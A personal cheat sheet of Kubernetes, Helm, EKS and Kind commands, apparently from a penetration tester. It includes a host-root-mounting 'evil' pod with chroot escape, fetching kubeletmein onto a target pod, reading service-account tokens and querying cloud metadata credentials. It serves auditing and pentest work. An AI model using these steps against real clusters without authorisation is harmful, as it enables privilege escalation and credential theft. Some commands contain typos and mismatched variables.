Kubectl
List all applications and services
kubectl get all
List all pods
kubectl get pods
List all containers in all pods
kubectl get pods -o='custom-columns=NameSpace:.metadata.namespace,NAME:.metadata.name,CONTAINERS:.spec.containers[*].name'
List all containers in a pod
kubectl get pods $POD_NAME -o='custom-columns=NameSpace:.metadata.namespace,NAME:.metadata.name,CONTAINERS:.spec.containers[*].name'
Resource: https://serverfault.com/questions/873490/how-to-list-all-containers-in-kubernetes
List pods in a namespace
kubectl get pods -n <namespace>
Get all pods running in all namespaces
kubectl get pods --all-namespaces
Get all container images
kubectl get pods --all-namespaces -o=jsonpath="{..image}
Get all container images filtered by pod label
kubectl get pods --all-namespaces -o=jsonpath="{..image}" -l app=<name>
For example, for a label with the app name ’nginx’ created with this tutorial:
kubectl get pods --all-namespaces -o=jsonpath="{..image}" -l app=nginx
Get Pod IP Address
kubectl get pods -l app=<app name> -o yaml |grep podIP
Delete a pod
kubectl delete pod <pod name>
Resource: https://www.fairwinds.com/blog/how-to-create-view-and-destroy-a-pod-in-kubernetes
List all nodes
kubectl get nodes
Get more information about a node
This will have things like the pods that are running on a node.
kubectl describe nodes <node name>
Get all services in every namespace
k get svc --all-namespaces -o wide
Get information about all deployments
kubectl describe deployments
Get information about a deployment
kubectl describe deployment nginx-deployment
Get shell to first container in a pod
kubectl exec -it $pod_name -- bash
Get shell to specific container in a pod
kubectl exec -it $pod_name --container $container_name -- sh
Secrets
Get a list of secrets
kubectl get secrets
Describe a secret
kubectl describe secret $SECRET_NAME
View a secret
kubectl get secret $SECRET_NAME -o json | jq .
You can also opt to output as yaml as well:
kubectl get secret $SECRET_NAME -o yaml
If a secret is a json blob with multiple key/value pairs (like a kubernetes.io/service-account-token type for example), you can get the associated value from one of the keys like so:
kubectl get secret $SECRET_NAME -o jsonpath='{.data.keyname}' | base64 -d
Resource: https://kubernetes.io/docs/concepts/configuration/secret/
List all services
kubectl get services
Get names of services
kubectl get services --sort-by=.metadata.name
Resource: https://kubernetes.io/docs/reference/kubectl/cheatsheet/
Get more information about a pod
kubectl describe pod $POD_NAME
Alternatively, you can use:
kubectl describe pods/$POD_NAME
Resources: https://stackoverflow.com/questions/34848422/how-to-debug-imagepullbackoff https://github.com/cloudnativelabs/kube-router/issues/711
Delete an application
Find the deployment and service beforehand:
kubectl delete deployment.apps/<name> service/<name>
For example, for a service and deployment called 'app':
kubectl delete deployment.apps/app service/app
Alternatively, you could just run this in the directory with all of the files:
kubectl delete -k ./
Resource: https://kubernetes.io/docs/tutorials/stateful-application/mysql-wordpress-persistent-volume/
Get external IP addresses of all nodes
kubectl get nodes -o jsonpath='{.items[*].status.addresses[?(@.type=="ExternalIP")].address}'
Resource: https://kubernetes.io/docs/reference/kubectl/cheatsheet/
List all namespaces
kubectl get namespace
Create new namespace
NAMESPACE_NAME=blablabla
kubectl create namespace $NAMESPACE_NAME
Resource: https://jhooq.com/helm-chart-wordpress-installation/
Delete namespace
NAMESPACE_NAME=blablabla
kubectl delete namespace $NAMESPACE_NAME
Show Persistent Volumes
kubctl get pvc
Delete Persistent Volume
PVC_NAME=somepvc
kubectl delete pvc $PVC_NAME
Troubleshooting
This will sort the output for you as well based on when something was created:
kubectl get events --all-namespaces --sort-by='.metadata.creationTimestamp'
Alternatively, you can just run:
kubectl get events
Resources: https://serverfault.com/questions/728727/kubernetes-stuck-on-containercreating https://stackoverflow.com/questions/36377784/pod-in-kubernetes-always-in-pending-state
Copy file from pod to system
kubectl cp $POD_NAME:/run/secrets/kubernetes.io/serviceaccount .
Copy file from system to pod
kubectl cp file $POD_NAME:/tmp
Get all clusters
kubectl config view -o jsonpath='{"Cluster name\tServer\n"}{range .clusters[*]}{.name}{"\t"}{.cluster.server}{"\n"}{end}'
Resource: https://kubernetes.io/docs/tasks/administer-cluster/access-cluster-api/
List all service accounts
kubectl get serviceaccounts
List all clusterroles
kubectl get clusterrole
Get yaml file from running pod
kubectl get po $POD_NAME -o yaml | tee file.yaml
Resource: https://stackoverflow.com/questions/43941772/get-yaml-for-deployed-kubernetes-services
Set namespace
This example sets the namespace to kube-system:
kubectl config set-context --current --namespace=kube-system
Resource: https://stackoverflow.com/questions/55373686/how-to-switch-namespace-in-kubernetes
Get Kubernetes Master
kubectl cluster-info
Get pod logs
POD_NAME=yourpod
kubectl logs $POD_NAME
Tail pod logs
k logs -f $POD_NAME
Resource: https://www.dnsstuff.com/how-to-tail-kubernetes-and-kubectl-logs
Check for insecure kubelet API access
From a pod
curl -k https://localhost:10250/pods
Remotely
curl -k https://<target system running kub>:10250/pods
Resource: https://sysdig.com/blog/kubernetes-security-kubelet-etcd/
Kubernetes config file location
env |grep KUBECONFIG
View config
kubectl config view
Use config file
# run before setting the env var
kubectl config view
export KUBECONFIG=/path/to/config/file
# run view config again to see the changes
kubectl config view
You can also run it like this if you don’t want to export the environment variable for whatever weird reason you have:
KUBECONFIG=/path/to/config/file kubectl config view
Resource: https://ahmet.im/blog/mastering-kubeconfig/
Access K8s API from inside a Pod
Setup
Set these variables to start:
K8S=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
Health Check
curl -s -H "Authorization: Bearer $TOKEN" --cacert $CACERT $K8S/healthz
Show pods
curl -s -H "Authorization: Bearer $TOKEN" \
--cacert $CACERT $K8S/api/v1/namespaces/$NAMESPACE/pods/
Get network policies
kubectl get networkpolicy
Get information about a particular policy
kubectl describe networkpolicy $NETWORK_POLICY_NAME
Resource: https://www.stackrox.com/post/2020/02/azure-kubernetes-aks-security-best-practices-part-2-of-4/
Default network access policies
If network policies are defined, the Kubernetes default policy is allow. Subsequently, you can talk to networked assets from within a container. To test this, exec into a container:
kubectl exec -it <container name> sh
Once inside, you can try things like querying the AWS metadata service (or another networked resource):
wget -O - -q http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance/
If this works, you can ascertain that an attacker that gains access to a running container gains unfettered network access.
Resolution
Specify network access configurations that minimize ingress and egress access for each pod.
Port forwarding
Service to localhost
This will forward the service running on 8443 to localhost:1234
kubectl port-forward service/<service name> 1234:8443 -n <namespace>
Pod to localhost
This will forward the service running on $pod-port to localhost:$pod-port
kubectl port-forward $POD_NAME $pod-port
Pod to the network
This will expose the service running on $pod-port in $POD_NAME to the system running the kubectl command on $localhost-port to other systems on the network:
kubectl port-forward --address <hostname or IP of system> $POD_NAME $localhost-port:$pod-port
Resource: https://stackoverflow.com/questions/51468491/how-kubectl-port-forward-works
Set cluster
kubectl config use-context <cluster>
Get list of everything a service account can do
kubectl auth can-i --list # -n namespace
Resource: https://lobuhisec.medium.com/kubernetes-pentest-recon-checklist-tools-and-resources-30d8e4b69463
Use local image
Add this line to your pod yaml file:
imagePullPolicy: Never
Resource: https://stackoverflow.com/questions/55392014/kubectl-get-pods-shows-errimagepull
Run docker in docker
This is a very bad thing to do from a security standpoint, but when you need it, this is how you do it:
apiVersion: v1
kind: Pod
metadata:
name: test-pd
spec:
containers:
- image: dev
imagePullPolicy: Never
name: dev
volumeMounts:
- name: docker-sock-volume
mountPath: "/var/run/docker.sock"
volumes:
- name: docker-sock-volume
hostPath:
# location on host
path: /var/run/docker.sock
Resources: https://stackoverflow.com/questions/56462126/how-to-add-v-var-run-docker-sock-var-run-docker-sock-when-running-container https://devops.stackexchange.com/questions/2506/docker-in-kubernetes-deployment
Security Tools and Techniques
Gain access to node’s root filesystem
Create evil.yaml:
apiVersion: v1
kind: Pod
metadata:
name: evil
labels:
app: ubuntu
spec:
containers:
- name: evil
image: ubuntu:latest
command: ["/bin/sleep", "3650d"]
imagePullPolicy: IfNotPresent
volumeMounts:
- name: root-fs
mountPath: /mnt
restartPolicy: Always
volumes:
- name: root-fs
hostPath:
path: /
type: Directory
Create a pod and access it:
k create -f evil.yaml
k exec --stdin --tty -f evil.yaml -- /bin/bash
Get into the host filesystem:
chroot /mnt
bash
Run Kubeletmein
From a pod on the target, run this command to get the binary:
wget -q -O kubeletmein https://github.com/4ARMED/kubeletmein/releases/download/v1.0.2/kubeletmein_1.0.2_linux_amd64 && chmod +x kubeletmein
Generate a kube config:
./kubeletmein generate
Make a nice alias to save on typing:
echo "alias k='kubectl --kubeconfig kubeconfig.yaml'" | tee -a ~/.bashrc
source ~/.bashrc
Run Kubehunter
Grab kube-hunter job yaml:
wget https://raw.githubusercontent.com/aquasecurity/kube-hunter/main/job.yaml
Start the job and grab the pod name:
k apply -f job.yaml
KHPOD=$(k describe job kube-hunter |grep 'Created pod:' | awk -F ' ' '{print $7}')
Monitor the findings - these will be passive:
k logs -f $KHPOD
Delete the job when you’re done:
k delete jobs kube-hunter
Run active scan
Modify job.yaml:
---
apiVersion: batch/v1
kind: Job
metadata:
name: kube-hunter
spec:
template:
spec:
containers:
- name: kube-hunter
image: aquasec/kube-hunter
command: ["kube-hunter"]
args: ["--pod", "--active"]
restartPolicy: Never
backoffLimit: 4
Start the job and grab the pod name:
k apply -f job.yaml
KHPOD=$(k describe job kube-hunter |grep 'Created pod:' | awk -F ' ' '{print $7}')
Monitor the findings:
k logs -f $KHPOD
Delete the job when you’re done:
k delete jobs kube-hunter
Resources: https://kube-hunter.aquasec.com/ - lists all of the tests you can run https://github.com/aquasecurity/kube-hunter/issues/374 - run active scan as a pod https://stackoverflow.com/questions/43675231/kubernetes-delete-all-jobs-in-bulk - delete jobs
Run Kube-Bench
From a pod on the target, run this command to get the job.yaml file from the repo:
wget https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml
Start the job and grab the pod name:
k apply -f kube-bench.yaml
KBPOD=$(k describe job kube-bench |grep 'Created pod:' | awk -F ' ' '{print $7}')
Monitor the findings - these will be passive:
k logs -f $KBPOD
Run against an EKS deployment
Create an Amazon Elastic Container Registry (ECR) repository to host the kube-bench container image:
aws ecr create-repository --repository-name k8s/kube-bench --image-tag-mutability MUTABLE
Set ${AWS_REGION} if it’s not already set. Then download, build and push the kube-bench container image to your ECR repo:
git clone https://github.com/aquasecurity/kube-bench.git
cd kube-bench
AWS_ACCT_ID=12312312312
aws ecr get-login-password --region ${AWS_REGION} | docker login --username AWS --password-stdin $ACCOUNT_ID.dkr.ecr.${AWS_REGION}.amazonaws.com
aws ecr get-login-password --region ${AWS_REGION} | docker login --username AWS --password-stdin ${AWS_ACCT_ID}.dkr.ecr.${AWS_REGION}.amazonaws.com
docker build -t k8s/kube-bench .
docker tag k8s/kube-bench:latest ${AWS_ACCT_ID}.dkr.ecr.${AWS_REGION}.amazonaws.com/k8s/kube-bench:latest
docker push ${AWS_ACCT_ID}.dkr.ecr.${AWS_REGION}.amazonaws.com/k8s/kube-bench:latest
Copy the URI of your pushed image; the URI format looks like this: ${AWS_ACCT_ID}.dkr.ecr.${AWS_REGION}.amazonaws.com/k8s/kube-bench:latest
Replace the image value in job-eks.yaml with the URI you just copied.
Run the job on a pod in your cluster and monitor the findings:
kubectl apply -f job-eks.yaml
KBPOD=$(k describe job kube-bench |grep 'Created pod:' | awk -F ' ' '{print $7}')
k logs -f $KBPOD
Resources: https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/kube-bench/index.html - general run instructions https://github.com/aquasecurity/kube-bench/blob/main/docs/running.md - instructions to run against EKS specifically
Run MKIT
You will need to export your AWS credentials as local environment variables:
export AWS_PROFILE=asdfasdf
export AWS_ACCESS_KEY_ID=asdfasdf
export AWS_SECRET_ACCESS_KEY=asdfdsf
Next clone the repo:
git clone git@github.com:darkbitio/mkit.git
cd mkit
Get cluster information:
aws eks list-clusters --region us-west-2 | jq
Run mkit for each cluster:
make run-eks awsregion=us-west-2 clustername=myawesomecluster
Navigate to http://localhost:8000/ to see results for each.
Resource: https://github.com/darkbitio/mkit#example-run-against-a-standalone-cluster
Helm
Debug template
helm template g <template name> -f ./values.yaml --debug
For example, if we deployed the bitnami/ghost template, we could use this command to debug it:
helm template g bitnami/ghost -f ./values.yaml --debug
Resource: https://www.reddit.com/r/kubernetes/comments/j3j3ox/ghost_helm_no_pod_showing_up/
Search for repository by name
This example will search for ghost repositories:
helm search hub ghost --max-col-width=0
Open the desired link to get the helm repo add command to use.
Show local repo list
helm repo list
Remove repo from local repo list
This example will remove the bitnami repo:
helm repo rm bitnami
Add repo to local repo list
This particular example will add the bitnami repo:
helm repo add bitnami https://charts.bitnami.com/bitnami
Search for versions of a chart in local repo
This will return a list of ghost charts:
helm search repo ghost --versions
Get latest version of a chart in local repo
helm search repo ghost --versions | sed -n 2p | awk '{print $2}'
List Releases in all namespaces
helm ls --all-namespaces
# Shorthand:
helm ls -a
Resources: https://github.com/helm/helm/issues/7527 https://jhooq.com/helm-chart-wordpress-installation/ - tutorial with some great helm examples https://helm.sh/docs/intro/using_helm/ - helm docs https://github.com/helm/hub/issues/208 - explanation of how to add a repo found with the search command
Install Plugin
This example will install the helm diff plugin:
helm plugin install https://github.com/databus23/helm-diff
Resources: https://jhooq.com/helm-chart-plugin/ - tutorial https://github.com/helm/helm/issues/3156 - initial suggestion
Uninstall Plugin
This example will uninstall the helm diff plugin:
helm plugin uninstall diff
Create values file
helm show values traefik/traefik > /tmp/traefik-chart.yaml
Resource: https://www.virtualizationhowto.com/2022/06/traefik-helm-install-and-configuration/
EKS
Get all clusters
aws eks list-clusters --region us-west-2 | jq
Get all node groups in a cluster
Pick one of the clusters from the previous command and plug it in for cluster_name.
aws eks list-nodegroups --region us-west-2 --cluster-name $cluster_name | jq
List all nodes in all clusters
eks_get_all.sh:
REGION="us-west-2"
CLUSTERS=($(aws eks list-clusters --region ${REGION} | jq -c '.[][]' | tr -d '"'))
for cluster in ${CLUSTERS[@]}; do
echo "Nodes in ${cluster}:"
aws eks list-nodegroups --region ${REGION} --cluster-name ${cluster} | jq -c '.[][]' | tr -d '"'
done
Auto configure kubeconfig
aws eks --region us-west-2 update-kubeconfig --name ${cluster}
Resource: https://www.bluematador.com/blog/my-first-kubernetes-cluster-a-review-of-amazon-eks
Kompose
Kompose is a tool to convert a docker-compose file to Kubernetes manifests.
Create chart
kompose convert -c
Resource: https://kompose.io/
Kind
Kind is a tool for running local Kubernetes clusters using Docker container “nodes”.
Installation
brew install kind
Create cluster
kind create cluster --name testing-kind
Destroy cluster
kind delete cluster --name testing-kind
Resource: https://kind.sigs.k8s.io/
Deploy Kind + Rancher
gh repo clone ozbillwang/rancher-in-kind
cd rancher-in-kind
# Create deployment with 1 worker and rancher
bash rkind.sh create
# Destroy deployment
bash rkind.sh create
# Set admin pw
docker exec -it rancher-for-kind reset-password